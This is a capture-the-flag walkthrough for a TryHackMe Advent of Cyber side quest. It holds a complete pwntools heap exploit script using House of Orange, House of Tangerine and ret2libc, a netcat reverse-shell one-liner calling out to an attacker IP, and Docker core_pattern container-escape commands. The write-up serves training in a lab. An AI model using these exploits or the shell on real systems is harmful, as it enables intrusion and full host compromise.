# T3: Escaping the Blizzard

{% embed url="<https://tryhackme.com/r/room/adventofcyber24sidequest>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## L3 Keycard

We find the keycard for the third Side Quest hidden in the task of the 12th day of the TryHackMe Advent Of Cyber. With the following task, it gives us a hint to check for something where the balance shifts. From the rhymes, it sounds like to look for an IDOR: `Where balances shift and numbers soar, look for an entry - an open door`

Day 12: If I can’t steal their money, I’ll steal their joy!

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCNNtZrpwkOxvEEBwOMsc%2Fgrafik.png?alt=media&#x26;token=0913abfd-95a1-4c40-b081-1277721ec427" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9HmyXE9cOs0gA1ANy4VE%2Fgrafik.png?alt=media&#x26;token=a40416c5-15f9-49eb-96c8-24066861121c" alt=""><figcaption></figcaption></figure>

We scan for further directories of the walkthrough machine and find, among others, the directory `transactions.`

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0EqYboZuLFUYQNoGGINh%2Fgrafik.png?alt=media&#x26;token=a3b0abaf-30c5-49a8-b2c3-21b684f5e617" alt=""><figcaption></figcaption></figure>

We call this, but it requires an ID.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5tWSiq2iDMcHBVwcJCOY%2Fgrafik.png?alt=media&#x26;token=1ebdb41d-1e24-4713-9a49-92fb4d649ec0" alt=""><figcaption></figcaption></figure>

We receive such an ID after a transaction has been carried out. On closer inspection, this could be something MD5 hashed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FourvVzRqkEHFh4eFnIlH%2Fgrafik.png?alt=media&#x26;token=5fe78c5e-27c0-4d06-ba13-5fb822fe7d7e" alt=""><figcaption></figcaption></figure>

We enter the parameter ID with the value from our last transaction and receive a status.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FykEmjJsIcsXXPk1BHhfJ%2Fgrafik.png?alt=media&#x26;token=f992a8f1-368b-4efa-9f27-8d70cc8dbce6" alt=""><figcaption></figcaption></figure>

We try to crack our transaction hash using `crackstation.net`. And find out that in our case it is the value 1339 MD5 hashed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhK0fmHkwggdVAi7lMqtn%2Fgrafik.png?alt=media&#x26;token=7df6ad90-a3b6-423a-8cc5-40db1c56260d" alt=""><figcaption></figcaption></figure>

The idea now is to look for further transactions, perhaps another one hides a further reference to the keycard. We intercept a request using Burp Suite and forward it to the Intruder module. Here we mark the value that is passed via the ID.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FK8WbRf5OfLVDMEgAvNqW%2Fgrafik.png?alt=media&#x26;token=0fcc4661-8317-42aa-8184-48ea9f892ab5" alt=""><figcaption></figcaption></figure>

On tab payloads, we define the necessary parameters to query further IDs. We chose the payload type numbers and limit the number range `1330` to `1350` for the time being. Under Payload processing, we specify that these values should be hashed.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8kgy22Z93ceSj7mvuXuC%2Fgrafik.png?alt=media&#x26;token=8a70131b-d437-4d99-8246-2fd4883a394b" alt=""><figcaption></figcaption></figure>

We start the attack and filter by the response length. One response stands out in particular, with a length of `367`. Here we find something encoded in base64 in the status.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6dKEv1j4bYkLovJXGHtO%2Fgrafik.png?alt=media&#x26;token=5e02faf4-4fe3-4f3c-86a0-3f7fee050ff8" alt=""><figcaption></figcaption></figure>

We decode this string and see a path that points to an image.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXLjXhKyrmeGJvwRijtXl%2Fgrafik.png?alt=media&#x26;token=aa3b86aa-44ea-45e9-b44f-6831214ab8db" alt=""><figcaption></figcaption></figure>

We request the path and find the third keycard.

```
/secret/0opsIDidItAgain_MayorMalware1337.png 
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F912XohxxXBNtQH38WFuL%2Fgrafik.png?alt=media&#x26;token=c7655974-de61-4542-b48b-a39583991d46" alt=""><figcaption></figcaption></figure>

## Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port `21337`.

## Recon

After we have deactivated the firewall, we start with an Nmap scan and find three other open ports in addition to port `21337`. We have port `22` SSH, port `80` a web server and on port `1337` an unknown service.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FX2RfU9NK8o6IApAe2Nxc%2Fgrafik.png?alt=media&#x26;token=bcf6dd56-36fd-4b13-b26b-05d9af0a29e3" alt=""><figcaption></figcaption></figure>

The site offers a service to generate building and construction approvals with a form for construction request and a contact form.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fq3vmoM9fkaAW0PgqnqMv%2Fgrafik.png?alt=media&#x26;token=de74935d-0e8e-4d82-b00c-6d00212a8e3f" alt=""><figcaption></figcaption></figure>

We carry out a directory scan. We find the backup directory, which could contain interesting sensitive information.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMen7w5FxuT3sX1AiPfR9%2Fgrafik.png?alt=media&#x26;token=198fd0a3-e5be-44d1-ac7c-ff109438488f" alt=""><figcaption></figcaption></figure>

In that backup directory is a binary called enc, some recommended passwords  and a zip file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fzx58GlaYDKnMGoqxbvT6%2Fgrafik.png?alt=media&#x26;token=13825bfc-a7fd-4128-a82c-61772cca31f9" alt=""><figcaption></figcaption></figure>

Next, we try to connect to the service on port `1337`. There we can create, read and edit permit entries. That text based mentioned in the room description that Blizzard Bear managed to hac&#x6B;*.*

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTaZmWPVOc6d8DGu6ZaBC%2Fgrafik.png?alt=media&#x26;token=7b06ca80-7311-4f4c-9b8b-4f1a90b9cdcf" alt=""><figcaption></figcaption></figure>

Let's see how the binary behaves on entering some example values. If we enter something not expected, the application loops.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FSrPA1EXJLfBhPniAXN7s%2Fgrafik.png?alt=media&#x26;token=defde8a4-332b-4946-a0b2-3220061e1bc8" alt=""><figcaption></figcaption></figure>

## Flag 1 - Unzip The Zip

We download the zip file, the password file and the binary. We can see that the zip file contains the maybe first flag (foothold.txt), a binary called secureStorage and a Dockerfile. So let's stick with that for now.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFylTxEPI0wZfZEEocGgB%2Fgrafik.png?alt=media&#x26;token=a965c447-d33d-4588-93df-66ead6b73903" alt=""><figcaption></figcaption></figure>

We check the enc binary and run it. It looks like it encrypts a given password.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FC9kQw50hlxwdFRx2VnJJ%2Fgrafik.png?alt=media&#x26;token=8815892f-1d26-46dc-9f11-f646e26f71b1" alt=""><figcaption></figcaption></figure>

Using zip2john and trying to crack that password with the given password list does not yield to anything.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCpadCadPAugZRfaIOGjF%2Fgrafik.png?alt=media&#x26;token=785a6aad-2d0e-4d44-851e-d041a23d4a94" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfEHoqSmd0okPPrYDiH3h%2Fgrafik.png?alt=media&#x26;token=088d41d1-1d7e-422b-86e1-c97a03539be8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fj2AfYk7RCYiNYJHUk4SP%2Fgrafik.png?alt=media&#x26;token=f3bc8a82-8641-40fb-a71a-96196e9a768a" alt=""><figcaption></figcaption></figure>

We craft a simple script to encrypt each password of the `recommended-passwords.txt` and save the encrypted password to `encrypted-passwords.txt`.

{% code title="enc.sh" overflow="wrap" lineNumbers="true" %}

```
#!/bin/bash

# Input and output file paths
input_file="/home/0xb0b/Documents/tryhackme/aoc24/sq3/recommended-passwords.txt"
output_file="/home/0xb0b/Documents/tryhackme/aoc24/sq3/encrypted-passwords.txt"
enc_binary="/home/0xb0b/Documents/tryhackme/aoc24/sq3/enc"

# Clear or create the output file
> "$output_file"

# Loop through each line in the input file
while IFS= read -r password; do
    # Encrypt the password using the enc binary
    encrypted_password=$("$enc_binary" "$password")
    # Append the result to the output file
    echo "$encrypted_password" >> "$output_file"
done < "$input_file"

echo "Encryption complete. Results saved to $output_file"

```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqCsN4bNKjinYi2rQShR5%2Fgrafik.png?alt=media&#x26;token=440a62d2-1666-43c4-95b0-b67f73e6b5d6" alt=""><figcaption></figcaption></figure>

We try to crack the zip again, now with the encrypted passwords, and are successful.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1kDgZqVf4jl1gsjNq3xJ%2Fgrafik.png?alt=media&#x26;token=efa2feea-7edf-42ca-ad3b-0a7be928040e" alt=""><figcaption></figcaption></figure>

We extract the contents of the zip file and have access to the first flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWdU3W7RGEn080F20Zfn6%2Fgrafik.png?alt=media&#x26;token=952be886-cabd-4b1f-954f-1f074557a4e3" alt=""><figcaption></figcaption></figure>

## Flag 2 - Master The Heap

Here is just a rough overview of the exploit. The script for this was created by Aquinas, all credits belong to him. His intention and detailed procedure to craft the script can be found in his writeup, which will be linked here as soon as it is online:

{% embed url="<https://github.com/ChrisPritchard/ctf-writeups/blob/master/tryhackme-rooms/adventofcyber24sidequest.md#sq3-escaping-the-blizzard>" %}

We run the secureStorage file and see the same banner printed, like on port 1337. This might be the way to get a foothold.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1JoIB545Pa2dG4nrJf2q%2Fgrafik.png?alt=media&#x26;token=6bb0eb71-c03a-4113-8ce1-1111454fe059" alt=""><figcaption></figcaption></figure>

In the Docker file, we can see that this binary is exposed to port `1337` using socat, and the flag is placed in the root directory. Furthermore, we see that the `libc.so.6` and `ld-lindux-x86-64.so.2` is placed in the same directory as secureStorage. We can already assume here that when we reach foothold, it is in a docker container, and we must break out of it.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FsXx4mGpLGFnxklfswveO%2Fgrafik.png?alt=media&#x26;token=a13d98a6-d3f2-4557-bbd1-bb680500895e" alt=""><figcaption></figcaption></figure>

But for now, let's move on to the analysis of the binary. For this we are using BinaryNinja. In the main function, it loops infinitely for the menu.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FDR8av9XHPwxGRaqhc1gg%2Fgrafik.png?alt=media&#x26;token=0a58807f-1a7e-4083-bc69-be79b4fd87c5" alt=""><figcaption></figcaption></figure>

The function `show()` does not appear to be conspicuous for the time being.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkIovRoJynlbASNnIP9OU%2Fgrafik.png?alt=media&#x26;token=cc9b21ed-2063-41f6-8b98-54c937cda23c" alt=""><figcaption></figcaption></figure>

The `create()` function seems to be vulnerable to a heap based buffer overflow. Here, memory is allocated using `malloc` and then written to using `read()`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fat2b7TnMjQyyogUBl45d%2Fgrafik.png?alt=media&#x26;token=3e66c7d1-2f69-4072-8f6b-52aaf6d946b7" alt=""><figcaption></figcaption></figure>

If the size allocated by `malloc(((uint64_t)rax_6))` is smaller than the size specified in `sizes[rax_1] + 0x10`, the `read` function will write past the bounds of the allocated buffer.

```
*(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks) = malloc(((uint64_t)rax_6));
```

{% code overflow="wrap" %}

```
read(0, *(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks), ((int64_t)(*(uint32_t*)((((uint64_t)rax_1) << 2) + &sizes) + 0x10)));
```

{% endcode %}

The memory is overwritten in the `edit()` function

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhOpxrtgRjoOQb1Jp5Bwg%2Fgrafik.png?alt=media&#x26;token=f63e2bd8-4037-4245-9256-46203b01e21f" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
read(0, *(uint64_t*)((((uint64_t)rax_1) << 3) + &chunks), ((uint64_t)(rax_6 + 0x10)));
```

{% endcode %}

A collection of heap based buffer overflow techniques can be taken from this repository :

{% embed url="<https://github.com/shellphish/how2heap/>" %}

Which heap based buffer overflow techniques are available to us depends on the glibc version. To determine the version, we determine the addresses of known functions and pass it to `libc.rip`.

We run the application using gef, set a breakpoint and run `p system` and `p malloc` to retrieve the addresses.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FeIw4IRRUYYd7KxjhsO5U%2Fgrafik.png?alt=media&#x26;token=40b09251-d5ed-4f72-96e5-027e65345eab" alt=""><figcaption></figcaption></figure>

We pass those into libc.rip and see that `libc 2.39` is used.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHFbJsy2Zl8mWALFQE2WO%2Fgrafik.png?alt=media&#x26;token=e8a73398-55a8-4df8-8808-2f68f485132f" alt=""><figcaption></figcaption></figure>

Not too many techniques are possible for these.

{% embed url="<https://github.com/shellphish/how2heap/tree/master/glibc_2.39>" %}

We do not find any `free()` used in the rest of the code.

Therefore, we need a technique that does not use `free()`. Among them is the house of tangerine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FLCyKjdYtMdkvUwKM7BNY%2Fgrafik.png?alt=media&#x26;token=05609461-6aa4-49f1-833c-49eb95ed5505" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FMFOgS3eZork30aOaYqfq%2Fgrafik.png?alt=media&#x26;token=2aec7bdf-3ec0-4514-81ca-55c427d261d3" alt=""><figcaption></figcaption></figure>

Following techniques are combined:

* **Leak libc and heap addresses. (House Of Orange)**
* **Corrupt tcache metadata. (House Of Tangerine)**
* **Redirect malloc to a desired address.**
* **Craft a payload for ret2libc execution.**

**Unsorted Bin Leak (House of Orange)**

* **Goal:** Leak libc and heap addresses.
* **Steps:**
  1. Overflow the top chunk size, forcing it into the unsorted bin.
  2. Allocate from the unsorted bin to leak a libc pointer (present in the bin metadata).
  3. Perform a similar allocation to leak a heap pointer by crafting data that spills into heap metadata.

**Tcache Corruption (House of Tangerine)**

* **Background on Tcache Bins:**
  * When a chunk is freed, it is placed into a "bin" organized by size.
  * If multiple chunks share the same size, they are linked together in the bin via pointers.
  * Allocating the first chunk (head) from the bin updates the pointer to point to the next chunk.
* **Goal:** Manipulate malloc to return a specific address.
* **Steps:**
  1. **Prepare the Bin:**
     * Place at least two chunks of the same size into the same bin.
  2. **Corrupt the Pointer:**
     * Modify the pointer of the first chunk (head) to point to the desired target address.
     * Tcache uses XOR encoding (`vuln_tcache >> 12`), so a heap leak is required to calculate the correct pointer.
  3. **Allocate Twice:**
     * First allocation removes the corrupted head, setting the target address as the new head.
     * Second allocation returns the target address.

**Arbitrary Read/Write and ret2libc**

* **Goal:** Gain control over the program's execution flow.
* **Steps:**
  1. Use the manipulated malloc to leak a stack address (e.g., `__libc_argv`).
  2. Calculate offsets to overwrite the saved return address on the stack.
  3. Craft a ret2libc payload to call `system("/bin/sh")`.

This script is developed by Aquinas. All rights and credit are attributed to him:

{% code title="aquinas\_is\_awesome.py" overflow="wrap" lineNumbers="true" %}

```python
from pwn import *

binary = './secureStorage'
elf = ELF(binary)
libc = ELF('./libc.so.6')

p = remote('10.10.181.11', 1337)
# p = process(binary)

def create(index,size,data):
    p.sendlineafter(b'>>', b'1')
    p.sendlineafter(b'index:', str(index).encode())
    p.sendlineafter(b'size:', str(size).encode())
    p.sendafter(b'data:', data)

def edit(index,data):
    p.sendlineafter(b'>>', b'3')
    p.sendlineafter(b'index:', str(index).encode())
    p.sendafter(b'data:', data)

def show(index):
    p.sendlineafter(b'>>', b'2')
    p.sendlineafter(b'index:', str(index).encode())
    p.recvline();
    return p.recvline().strip()

# first need a libc and heap base leak

create(0, 256, 256*b"A" + p64(0) + p64(0xc61)) # create an overflow top chunk size, 'house of orange' style
create(1, 0xf98, b"firstlargechunk") # this will be used later, but here forces top chunk into unsorted bin

# original top is now in unsorted bins because its size is too big for tcache bins

# leak a libc address, by carving a portion from our unsorted bin 
# which has a libc address in it at 8: and which gets preserved in the new alloc

create(2, 24, b"LEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked libc: ' + hex(data))
libc_base = data - 0x204120 # calculated using vmmap and comparing libc base the above
print('libc\'s base: ' + hex(libc_base))
libc.address = libc_base

# do the same again, this time for a heap address at position 16:

edit(2, b"LEAKADDDLEAKADDD")
data = show(2)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked heap: ' + hex(data))
heap_base = data - 0x3a0 # calculated using vmmap and comparing to the above
print('heap\'s base: ' + hex(heap_base))

# now need to return to our second alloc (first big one) to overflow the new top
# need to overflow the top size to 0x60 (61 with in use bit) so it goes into a specific tcache bin
# under 0x410 means tcache, not unsorted. this is the 'house of tangerine' attack

payload = b"A"*0xf98
payload += p64(0x61) # target bin we want to hit, here 0x40 + 0x20
edit(1, payload)
create(3, 0xf98, b"secondlargechunk")

# top chunk will now be in tcache 0x40 (this is the second top chunk, after the original we used for leaks)

payload = b"secondlargechunk"
payload += b"B"*(0xf98 - len(payload))
payload += p64(0x61)
edit(3, payload)
create(4, 0x1000, b"thirdlargechunk")

# new top chunk will be in tcache 0x40, linked to the first one

# need to calculate the corrupted tcache address (which is xor encoded with portions of its memory address)
# which will be our target; when we allocate off the tcache list, malloc will return this target address

vuln_tcache = heap_base + 0x43FB0 # this is the first address after the size of the first tcache chunk, overwritable with index 2
print("tcache address: " + hex(vuln_tcache))
target = libc.symbols["__libc_argv"] - 0x10 # this contains an address on the stack, which can leak to use for further targeting. go back 0x10 so as not to wipe the data we want to read
print("target address: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12) # not-so-safe linking protection bypass

payload = b"A"*0xf98
payload += p64(0x41) # note once the bins are in the tcache, they are 0x20 smaller than they were before
payload += p64(safe_link_addr)
edit(3, payload)

# allocate out of the tcache bin, corruptng it
create(5, 0x30, b"removefirsttcache")
create(6, 0x30, b"controllocation!") # this 'permit' will be allocated at the address we specified above

data = show(6)
data = u64(data[-6:].ljust(8,b'\x00'))
print('leaked stack: ' + hex(data))
predicted_main_ret = data - 0x120
print('main ret: ' + hex(predicted_main_ret))

create(7, 0xc10, b"fourthlargechunk") # just to clean out the unsorted bin - this is the size of the bin - 0x10, and results in the bin being fully allocated back on the heap
# we do this because its size is bigger than the tcache bins we want to create next, which will likely mean any allocations would have gotten carved out of this bin instead

# first of the new tcache bins - still in the heap at this point
create(8, 0xbc8, b"fifthlargechunk")
payload = b"fifthlargechunk"
payload += b"C"*(0xbc8 - len(payload))
payload += p64(0x421) # size of the bin we are targeting, 0x400 + 0x20
edit(8, payload)

# second new bin, and also it pushes the previous into the tcache
create(9, 0xbd8, b"sixthlargechunk")
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x421)
edit(9, payload)

# this will push the second bin into the tcache bin 0x400, with the two linked
create(10, 0x1000, b"seventhlargechunk")
  
# targeting for our second arbitrary allow - the offset is calculated by the head of the tcache bin - heap base
vuln_tcache = heap_base + 0x87BF0
print("new vuln tcache: " + hex(vuln_tcache))
target = predicted_main_ret - 0x8
print("target: " + hex(target))
safe_link_addr = target ^ (vuln_tcache >> 12)

# load in the target
payload = b"sixthlargechunk"
payload += b"D"*(0xbd8 - len(payload))
payload += p64(0x401) # 0x20 smaller than 0x420
payload += p64(safe_link_addr)
edit(9, payload)

# allocate out of the tcache bin, corrupting it
create(11, 0x3f0, b"removefirsttcache") # 0x10 (16 bytes) smaller than the tcache bin.
# this will be at our target location

ret = p64(libc_base + 0x1afc8c) # objdump -d libc.so.6 | grep ret
poprdiret = p64(libc_base + 0x10f75b) # ROPgadget --binary libc.so.6 | grep 'pop rdi'
system = p64(libc.symbols["system"])
binsh = p64(libc_base + 0x1cb42f) # strings -a -t x libc.so.6 | grep /bin/sh
final_payload = p64(0) + ret + poprdiret + binsh + system + p64(0)

create(12, 0x3f0, final_payload)

# attach(p)

p.sendlineafter(b'>>', b'4') # exit main to trigger exploit

p.interactive()


```

{% endcode %}

It takes several attempts to get a shell, it may take up to 10 attempts, if not more. It could be more successful with the Attack box. We get a foothold and are root on the system. In the current directory, we find the second flag.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWJSBsTjYYMpCQ6ZgjJs0%2Fgrafik.png?alt=media&#x26;token=00688f82-cf1e-48ac-9e2a-db6e48896df4" alt=""><figcaption></figcaption></figure>

## Flag 3 - Escape The Docker Container

As predicted we are in a docker container, running deepce.sh we see that groups are exploitable.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdhEC1qNdQmxBDKGJcrVu%2Fgrafik.png?alt=media&#x26;token=9c9fda6f-8061-4382-8954-fb7843889e72" alt=""><figcaption></figcaption></figure>

LinPeas gives us a better impression of what exactly is exploitable. Either a `core_pattern breakout` or an `uevent_helper breakout` is possible.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9xG1UBc1giNxb7MRGafN%2Fgrafik.png?alt=media&#x26;token=644a33aa-3b65-4e56-816a-7cca34dcdedf" alt=""><figcaption></figcaption></figure>

The core\_pattern breakout seems promising, as it matches the theme of the room.&#x20;

A **Docker `core_pattern` breakout** leverages the misconfiguration of the `core_pattern` kernel parameter in a containerized environment to break out of a Docker container and escalate privileges on the host. This is possible when the host system is configured to store or process core dumps in a way that exposes sensitive data or allows interaction between the container and the host.

#### Prerequisites

1. **Privileged Container**: The container must be running in privileged mode or have CAP\_SYS\_ADMIN capabilities to modify `/proc/sys/kernel/core_pattern`.
2. **Writable Host Filesystem**: Access to write to host directories (e.g., via mounted volumes).
3. **Vulnerable Configuration**: The host's `core_pattern` is configured insecurely or can be overridden by the container.

An example can be found here:&#x20;

{% embed url="<https://pwning.systems/posts/escaping-containers-for-fun/>" %}

If we can successfully write our script to `/proc/sys/kernel/core_pattern` prefixed with a pipe, the kernel will execute our program outside of the container.

But first, lets test if we can simulate a crash that then writes to a file we have defined in `core_pattern`.

```
echo '/tmp/core.%e.%p' > /proc/sys/kernel/core_pattern
```

```
python3 -c 'import os; os.abort()'
```

```
ls /tmp
```

Seems like it worked.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhsUHvx4sGdakfNcV5e4m%2Fgrafik.png?alt=media&#x26;token=f82dfd2b-ad48-48a6-bde5-1cad313d2c2c" alt=""><figcaption></figcaption></figure>

Now we need to write our shell script and this has to be accessible from the host.&#x20;

```
mount
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9GpJeGvRQrDbcN8obt3m%2Fgrafik.png?alt=media&#x26;token=09cbefae-41ae-49e9-9dd2-5e23d610b314" alt=""><figcaption></figcaption></figure>

We can show the mounts and find the overlay folder. If we write to `/` on the container, it is actually at `/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/`

{% code overflow="wrap" %}

```
/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/
```

{% endcode %}

We place our `shell.sh` in `/` of the docker container.&#x20;

```
echo '#!/bin/bash' > /shell.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.14.90.235 4445 >/tmp/f' >> /shell.sh
chmod +x /shell.sh
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FW8nawGfhN8mDtMe8op2O%2Fgrafik.png?alt=media&#x26;token=19aac32a-c3ba-4a47-aa24-55197a612324" alt=""><figcaption></figcaption></figure>

We write the path to the shell script prefixed with a pipe to execute it outside the container.

{% code overflow="wrap" %}

```
echo "|/var/lib/docker/overlay2/221c28c3554db6a8781a1558e327ee54b8a3d6b7266507ee7ccd8af24a05c444/diff/shell.sh" > /proc/sys/kernel/core_pattern
```

{% endcode %}

With the following command, we force a crash.

```
python3 -c 'import os; os.abort()'
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fxj8b9z7YhN6ITv2C2Tzk%2Fgrafik.png?alt=media&#x26;token=d814c486-9d75-43ed-80f6-cc97b37ea167" alt=""><figcaption></figcaption></figure>

And get a connection back to our listener. We are root on the host and find the final flag at `/root/root.txt`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FXBkW2c7LhhDhEGVnwFSm%2Fgrafik.png?alt=media&#x26;token=ab5caadd-9994-473d-b2ac-22e568f1b0dc" alt=""><figcaption></figcaption></figure>
